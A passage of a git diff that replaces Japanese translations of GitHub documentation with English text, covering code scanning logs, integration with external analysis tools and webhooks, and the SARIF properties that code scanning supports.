variables.product.prodname_code_scanning %}のセットアップ](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)」を参照してください。 +You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -利用できるログと診断情報は、リポジトリ中での{% data variables.product.prodname_code_scanning %}の利用方法によります。 使用している{% data variables.product.prodname_code_scanning %}の種類は、リポジトリの**Security（セキュリティ）**タブで、アラートリスト中の**Tool（ツール）**ドロップダウンメニューを使ってチェックできます。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)」を参照してください。 +The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -## 分析と診断情報について +## About analysis and diagnostic information -{% data variables.product.prodname_code_scanning %}の実行に対する分析と診断情報は、{% data variables.product.prodname_dotcom %}上の{% data variables.product.prodname_codeql %}分析を使用して見ることができます。 +You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. -**分析**情報は、アラートのリストの上部のヘッダ内の最新の分析に対して表示されます。 詳しい情報については、「[リポジトリの Code scanningアラートを管理する](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)」を参照してください。 +**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -**診断**情報はActionワークフローログに表示され、サマリメトリクスと抽出診断からなります。 {% data variables.product.prodname_dotcom %}上の{% data variables.product.prodname_code_scanning %}ログへのアクセスに関する情報については、以下の「[{% data variables.product.prodname_code_scanning %}からのロギング出力の表示](#viewing-the-logging-output-from-code-scanning)を参照してください。 +**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below. -{% data variables.product.prodname_dotcom %}の外部で{% data variables.product.prodname_codeql_cli %}を使っているなら、診断情報はデータベース分析の間に生成された出力中に示されます。 この情報は、{% data variables.product.prodname_code_scanning %}の結果とともに{% data variables.product.prodname_dotcom %}にアップロードするSARIF結果ファイル中にも含まれています。 +If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results. For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)." -### サマリメトリクスについて +### About summary metrics {% data reusables.code-scanning.summary-metrics %} -### {% data variables.product.prodname_codeql %}ソースコード抽出診断について +### About {% data variables.product.prodname_codeql %} source code extraction diagnostics {% data reusables.code-scanning.extractor-diagnostics %} {% endif %} -## {% data variables.product.prodname_code_scanning %} からログ出力を表示する +## Viewing the logging output from {% data variables.product.prodname_code_scanning %} -このセクションは、{% data variables.product.prodname_actions %}を使って実行される{% data variables.product.prodname_code_scanning %}（{% data variables.product.prodname_codeql %}あるいはサードパーティ）に適用されます。 +This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party). -リポジトリで{% data variables.product.prodname_code_scanning %}をセットアップしたら、アクションが実行されるとその出力を見ることができます。 +After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. {% data reusables.repositories.actions-tab %} - {% data variables.product.prodname_code_scanning %} ワークフローを実行するためのエントリを含むリストが表示されます。 エントリのテキストは、コミットメッセージに付けるタイトルです。 + You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. - ![{% data variables.product.prodname_code_scanning %} ワークフローを表示しているアクションのリスト](/assets/images/help/repository/code-scanning-actions-list.png) + ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) -1. {% data variables.product.prodname_code_scanning %} ワークフローのエントリをクリックします。 +1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. -2. 左側のジョブ名をクリックします。 ここでは例として、[**Analyze (言語)**] をクリックします。 +2. Click the job name on the left. For example, **Analyze (LANGUAGE)**. - ![{% data variables.product.prodname_code_scanning %} ワークフローからのログ出力](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) -1. このワークフローの実行時にアクションから出力されるログを確認します。 +1. Review the logging output from the actions in this workflow as they run. -1. すべてのジョブが完了すると、確認されたすべての {% data variables.product.prodname_code_scanning %} アラートの詳細を表示できます。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)」を参照してください。 +1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." {% note %} -**注釈:** {% data variables.product.prodname_code_scanning %} ワークフローを追加するためのプルリクエストをリポジトリに発行すると、そのプルリクエストからのアラートは、そのプルリクエストがマージされるまで {% data variables.product.prodname_code_scanning_capc %} ページに直接表示されません。 アラートが見つかった場合は、プルリクエストがマージされる前に、{% data variables.product.prodname_code_scanning_capc %} ページのバナーにある [**_(数字)_ alerts found**] をクリックしてそのアラートを表示できます。 +**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} - ![[n alerts found] のリンクをクリック](/assets/images/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) {% else %} - ![[n alerts found] のリンクをクリック](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) {% endif %} {% endnote %} diff --git a/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md index ba3fe0d4eb..0a120a5059 100644 --- a/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md +++ b/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md @@ -1,7 +1,7 @@ --- -title: コードスキャンとのインテグレーションについて -shortTitle: インテグレーションについて -intro: '{% data variables.product.prodname_code_scanning %} を外部で実行し、その結果を {% data variables.product.prodname_dotcom %} で表示できます。また、リポジトリで {% data variables.product.prodname_code_scanning %} アクティビティを監視する webhook をセットアップすることもできます。' +title: About integration with code scanning +shortTitle: About integration +intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or set up webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning @@ -19,22 +19,21 @@ topics: - Webhooks - Integration --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -{% data variables.product.prodname_code_scanning %} を {% data variables.product.prodname_dotcom %} 内で実行する他に、分析を別の場所で実行して、その結果をアップロードすることもできます。 外部で実行した {% data variables.product.prodname_code_scanning %} のアラートは、{% data variables.product.prodname_dotcom %} 内で {% data variables.product.prodname_code_scanning %} を実行した場合と同じように表示されます。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。 +As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere and then upload the results. Alerts for {% data variables.product.prodname_code_scanning %} that you run externally are displayed in the same way as those for {% data variables.product.prodname_code_scanning %} that you run within {% data variables.product.prodname_dotcom %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -Static Analysis Results Interchange Format (SARIF) 2.1.0 データとして結果を生成できるサードパーティの静的解析ツールを使用する場合、そのデータを {% data variables.product.prodname_dotcom %} にアップロードできます。 詳しい情報については、「[SARIF ファイルを GitHub にアップロードする](/code-security/secure-coding/uploading-a-sarif-file-to-github)」を参照してください。 +If you use a third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data, you can upload this to {% data variables.product.prodname_dotcom %}. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." -## webhook とのインテグレーション +## Integrations with webhooks -You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. たとえば、 {% data variables.product.product_name %} で Issue を作成するインテグレーションや、リポジトリに新たな {% data variables.product.prodname_code_scanning %} アラートが追加されたときに Slack 通知を送信するインテグレーションを構築できます。 詳しい情報については、「[webhook を作製すく](/developers/webhooks-and-events/creating-webhooks)」および「[webhook イベントとペイロード](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)」を参照してください。 +You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.product_name %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see "[Creating webhooks](/developers/webhooks-and-events/creating-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)." -## 参考リンク +## Further reading -* "[About code scanning](/code-security/secure-coding/about-code-scanning)" -* 「[既存の CI システムで {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} を使用する](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)」 -* "[SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning)" +* "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" +* "[Using {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} with your existing CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" +* "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)" diff --git a/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md index ec0f0a4ce9..dd455f1b35 100644 --- a/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md +++ b/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -1,7 +1,7 @@ --- -title: コードスキャンの SARIF サポート -shortTitle: SARIF サポート -intro: '{% data variables.product.prodname_dotcom %} のリポジトリにあるサードパーティの静的分析ツールからの結果を表示するには、{% data variables.product.prodname_code_scanning %} 用に SARIF 2.1.0 JSON スキーマの特定のサブセットをサポートする SARIF ファイルに結果を保存する必要があります。 デフォルトの {% data variables.product.prodname_codeql %} 静的分析エンジンを使用すると、結果は {% data variables.product.prodname_dotcom %} のリポジトリに自動的に表示されます。' +title: SARIF support for code scanning +shortTitle: SARIF support +intro: 'To display results from a third-party static analysis tool in your repository on {% data variables.product.prodname_dotcom %}, you''ll need your results stored in a SARIF file that supports a specific subset of the SARIF 2.1.0 JSON schema for {% data variables.product.prodname_code_scanning %}. If you use the default {% data variables.product.prodname_codeql %} static analysis engine, then your results will display in your repository on {% data variables.product.prodname_dotcom %} automatically.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -21,173 +21,172 @@ topics: - Integration - SARIF --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.deprecation-codeql-runner %} -## SARIF サポートについて +## About SARIF support -SARIF（Static Analysis Results Interchange Format）は、出力ファイル形式を定義する [OASIS 標準](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)です。 SARIF 標準は、静的分析ツールが結果を共有する方法を合理化するために使用されます。 {% data variables.product.prodname_code_scanning_capc %} は、SARIF 2.1.0 JSON スキーマのサブセットをサポートしています。 +SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) that defines an output file format. The SARIF standard is used to streamline how static analysis tools share their results. {% data variables.product.prodname_code_scanning_capc %} supports a subset of the SARIF 2.1.0 JSON schema. -サードパーティの静的コード分析エンジンから SARIF ファイルをアップロードするには、アップロードされたファイルが SARIF 2.1.0 バージョンを使用していることを確認する必要があります。 {% data variables.product.prodname_dotcom %} は SARIF ファイルを解析し、{% data variables.product.prodname_code_scanning %} エクスペリエンスの一部としてリポジトリの結果を使用してアラートを表示します。 詳しい情報については、「[SARIF ファイルを {% data variables.product.prodname_dotcom %} にアップロードする](/code-security/secure-coding/uploading-a-sarif-file-to-github)」を参照してください。 SARIF 2.1.0 JSON スキーマの詳細については、「[`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json)」を参照してください。 +To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). -SARIF ファイルに `partialFingerprints` が含まれていない場合、{% data variables.product.prodname_actions %} を使用して SARIF ファイルをアップロードすると、`partialFingerprints` フィールドが計算されます。 詳しい情報については「[リポジトリに対する{% data variables.product.prodname_code_scanning %}のセットアップ](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」あるいは「[CIシステムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。 +If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -{% data variables.product.prodname_codeql_cli %}を使っているなら、使用するSARIFのバージョンを指定できます。 詳しい情報については「[CIシステムでの{% data variables.product.prodname_codeql_cli %}の設定](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)」を参照してください。{% endif %} +If you're using the {% data variables.product.prodname_codeql_cli %}, then you can specify the version of SARIF to use. For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)."{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -同じツールとコミットに対して複数のSARIFファイルをアップロードして、それぞれのファイルを{% data variables.product.prodname_code_scanning %}を使って分析できます。 それぞれのファイル中で`runAutomationDetails.id`を指定することによって、それぞれの分析に対して「カテゴリ」を示すことができます。 同じカテゴリのSARIFファイル同士だけがお互いを上書きします。 このプロパティに関する詳しい情報については、以下の[`runAutomationDetails` object](#runautomationdetails-object)を参照してください。 +You can upload multiple SARIF files for the same tool and commit, and analyze each file using {% data variables.product.prodname_code_scanning %}. You can indicate a "category" for each analysis by specifying a `runAutomationDetails.id` in each file. Only SARIF files with the same category will overwrite each other. For more information about this property, see [`runAutomationDetails` object](#runautomationdetails-object) below. {% endif %} -{% data variables.product.prodname_dotcom %} は、SARIF ファイルのプロパティを使用してアラートを表示します。 たとえば、`shortDescription` と `fullDescription` は、{% data variables.product.prodname_code_scanning %} アラートの上部に表示されます。 `location` により、{% data variables.product.prodname_dotcom %} がコードファイルに注釈を表示できるようになります。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。 +{% data variables.product.prodname_dotcom %} uses properties in the SARIF file to display alerts. For example, the `shortDescription` and `fullDescription` appear at the top of a {% data variables.product.prodname_code_scanning %} alert. The `location` allows {% data variables.product.prodname_dotcom %} to show annotations in your code file. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -SARIF の使用が初めてで、詳細を確認する必要がある場合は、Microsoft の [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) リポジトリを参照してください。 +If you're new to SARIF and want to learn more, see Microsoft's [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) repository. -## フィンガープリントを使用してアラートの重複を防止する +## Preventing duplicate alerts using fingerprints -{% data variables.product.prodname_actions %} ワークフローが新しいコードスキャンを実行するたびに、それぞれの実行結果が処理され、アラートがリポジトリに追加されます。 同じ問題に対するアラートの重複を防ぐために、{% data variables.product.prodname_code_scanning %} はフィンガープリントを使用してさまざまな実行結果を照合し、選択したブランチの最新の実行で 1 回だけ表示されるようにします。 これにより、ファイルが編集されたときに、アラートを適切なコードの行にマッチさせることができます。 +Each time the results of a new code scan are uploaded, the results are processed and alerts are added to the repository. To prevent duplicate alerts for the same problem, {% data variables.product.prodname_code_scanning %} uses fingerprints to match results across various runs so they only appear once in the latest run for the selected branch. This makes it possible to match alerts to the right line of code when files are edited. -{% data variables.product.prodname_dotcom %} は、OASIS 標準の `partialFingerprints` プロパティを使用して、2 つの結果が論理的に同一の場合に検出します。 詳しい情報については、OASIS ドキュメントの「"[partialFingerprints プロパティ](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)」エントリを参照してください。 +{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation. -`id` は SARIF ファイルの他の部分から参照され、{% data variables.product.prodname_code_scanning %} が {% data variables.product.prodname_dotcom %} に URL を表示するために使用できます。 `upload-sarif` アクションを使用して SARIF ファイルをアップロードし、このデータが欠落している場合、{% data variables.product.prodname_dotcom %} はソースファイルから `partialFingerprints` フィールドの入力を試みます。 結果のアップロードに関する詳しい情報については、「[SARIF ファイルを {% data variables.product.prodname_dotcom %} にアップロードする](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)」を参照してください。 +SARIF files created by the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)." -`/code-scanning/sarifs` API エンドポイントを使用してフィンガープリントデータなしで SARIF ファイルをアップロードする場合、{% data variables.product.prodname_code_scanning %} アラートが処理され表示されますが、アラートが重複して表示される場合があります。 アラートが重複して表示されないようにするには、フィンガープリントデータを計算し、`partialFingerprints` プロパティを入れてから SARIF ファイルをアップロードする必要があります。 `upload-sarif` アクションが使用しているスクリプト (https://github.com/github/codeql-action/blob/main/src/fingerprints.ts) は、取っ掛かりとして役立つかもしれません。 API に関する詳しい情報については、「[解析を SARIF データとしてアップロードする](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)」を参照してください。 +If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)." -## SARIF ファイルを検証する +## Validating your SARIF file -SARIF ファイルが {% data variables.product.prodname_code_scanning %} と互換性があるかどうかは、{% data variables.product.prodname_dotcom %} 収集ルールと照らし合わせることで確認できます。 詳しい情報については、[Microsoft SARIF validator](https://sarifweb.azurewebsites.net/) にアクセスしてください。 +You can check a SARIF file is compatible with {% data variables.product.prodname_code_scanning %} by testing it against the {% data variables.product.prodname_dotcom %} ingestion rules. For more information, visit the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/). {% data reusables.code-scanning.upload-sarif-alert-limit %} -## サポートされている SARIF 出力ファイルのプロパティ +## Supported SARIF output file properties -{% data variables.product.prodname_codeql %} 以外のコード分析エンジンを使用する場合、サポートされている SARIF プロパティを確認して、{% data variables.product.prodname_dotcom %} での分析結果の表示方法を最適化できます。 +If you use a code analysis engine other than {% data variables.product.prodname_codeql %}, you can review the supported SARIF properties to optimize how your analysis results will appear on {% data variables.product.prodname_dotcom %}. -有効な SARIF 2.1.0 出力ファイルはすべてアップロードできますが、{% data variables.product.prodname_code_scanning %} は以下のサポートされているプロパティのみを使用します。 +Any valid SARIF 2.1.0 output file can be uploaded, however, {% data variables.product.prodname_code_scanning %} will only use the following supported properties. -### `sarifLog` オブジェクト +### `sarifLog` object -| 名前 | 説明 | -| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | -| `$schema` | **必須。**バージョン 2.1.0 の SARIF JSON スキーマの URI。 例: `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json` | -| `version` | **必須。**{% data variables.product.prodname_code_scanning_capc %} は、SARIF バージョン `2.1.0` のみをサポートしています。 | -| `runs[]` | **必須。**SARIF ファイルには、1 つ以上の実行の配列が含まれています。 各実行は、分析ツールの 1 回の実行を表します。 `run` の詳細については、「[`run` オブジェクト](#run-object)」を参照してください。 | +| Name | Description | +|----|----| +| `$schema` | **Required.** The URI of the SARIF JSON schema for version 2.1.0. For example, `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json`. | +| `version` | **Required.** {% data variables.product.prodname_code_scanning_capc %} only supports SARIF version `2.1.0`. +| `runs[]` | **Required.** A SARIF file contains an array of one or more runs. Each run represents a single run of an analysis tool. For more information about a `run`, see the [`run` object](#run-object). -### `run` オブジェクト +### `run` object -{% data variables.product.prodname_code_scanning_capc %} は `run` オブジェクトを使用して、ツールで結果をフィルタし、結果のソースに関する情報を提供します。 `run` オブジェクトには、結果を生成したツールに関する情報を含む `tool.driver` ツールコンポーネントオブジェクトが含まれます。 `run` ごとに、1 つの分析ツールの結果のみを取得できます。 +{% data variables.product.prodname_code_scanning_capc %} uses the `run` object to filter results by tool and provide information about the source of a result. The `run` object contains the `tool.driver` tool component object, which contains information about the tool that generated the results. Each `run` can only have results for one analysis tool. -| 名前 | 説明 | -| ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `tool.driver.name` | **必須。**分析ツールの名前。 {% data variables.product.prodname_code_scanning_capc %} は、{% data variables.product.prodname_dotcom %} に名前を表示して、ツールで結果をフィルタできるようにします。 | -| `tool.driver.version` | **任意。**分析ツールのバージョン。 {% data variables.product.prodname_code_scanning_capc %} は、バージョン番号を使用して、分析されているコードでの変更ではなく、ツールのバージョン変更により結果が変更された可能性がある場合に追跡します。 SARIF ファイルに `semanticVersion` フィールドが含まれている場合、`version` は {% data variables.product.prodname_code_scanning %} で使用されません。 | -| `tool.driver.semanticVersion` | **任意。**セマンティックバージョニング 2.0 形式で指定された分析ツールのバージョン。 {% data variables.product.prodname_code_scanning_capc %} は、バージョン番号を使用して、分析されているコードでの変更ではなく、ツールのバージョン変更により結果が変更された可能性がある場合に追跡します。 SARIF ファイルに `semanticVersion` フィールドが含まれている場合、`version` は {% data variables.product.prodname_code_scanning %} で使用されません。 詳しい情報については、セマンティックバージョニングのドキュメントの「[セマンティックバージョニング 2.0.0](https://semver.org/)」を参照してください。 | -| `tool.driver.rules[]` | **必須。**ルールを表す `reportingDescriptor` オブジェクトの配列。 分析ツールはルールを使用して、分析対象のコードの問題を見つけます。 詳しい情報については、「[`reportingDescriptor` オブジェクト](#reportingdescriptor-object)」を参照してください。 | -| `results[]` | **必須。**分析ツールの結果。 {% data variables.product.prodname_code_scanning_capc %} は {% data variables.product.prodname_dotcom %} に結果を表示します。 詳しい情報については、「[`result` オブジェクト](#result-object)」を参照してください。 | +| Name | Description | +|----|----| +| `tool.driver.name` | **Required.** The name of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the name on {% data variables.product.prodname_dotcom %} to allow you to filter results by tool. | +| `tool.driver.version` | **Optional.** The version of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. | +| `tool.driver.semanticVersion` | **Optional.** The version of the analysis tool, specified by the Semantic Versioning 2.0 format. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. For more information, see "[Semantic Versioning 2.0.0](https://semver.org/)" in the Semantic Versioning documentation. | +| `tool.driver.rules[]` | **Required.** An array of `reportingDescriptor` objects that represent rules. The analysis tool uses rules to find problems in the code being analyzed. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). | +| `results[]` | **Required.** The results of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the results on {% data variables.product.prodname_dotcom %}. For more information, see the [`result` object](#result-object). -### `reportingDescriptor` オブジェクト +### `reportingDescriptor` object -| 名前 | 説明 | -| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `id` | **必須。**ルールの一意の識別子。 `id` は SARIF ファイルの他の部分から参照され、{% data variables.product.prodname_code_scanning %} が {% data variables.product.prodname_dotcom %} に URL を表示するために使用できます。 | -| `name` | **任意。**ルールの名前。 {% data variables.product.prodname_code_scanning_capc %} は、{% data variables.product.prodname_dotcom %} のルールで結果をフィルタできるように名前を表示します。 | -| `shortDescription.text` | **必須。**ルールの簡単な説明。 {% data variables.product.prodname_code_scanning_capc %} は、関連する結果の横にある {% data variables.product.prodname_dotcom %} の簡単な説明を表示します。 | -| `fullDescription.text` | **必須。**ルールの説明。 {% data variables.product.prodname_code_scanning_capc %} は、関連する結果の横にある {% data variables.product.prodname_dotcom %} の説明全体を表示します。 文字数は最大 1000 文字に制限されています。 | -| `defaultConfiguration.level` | 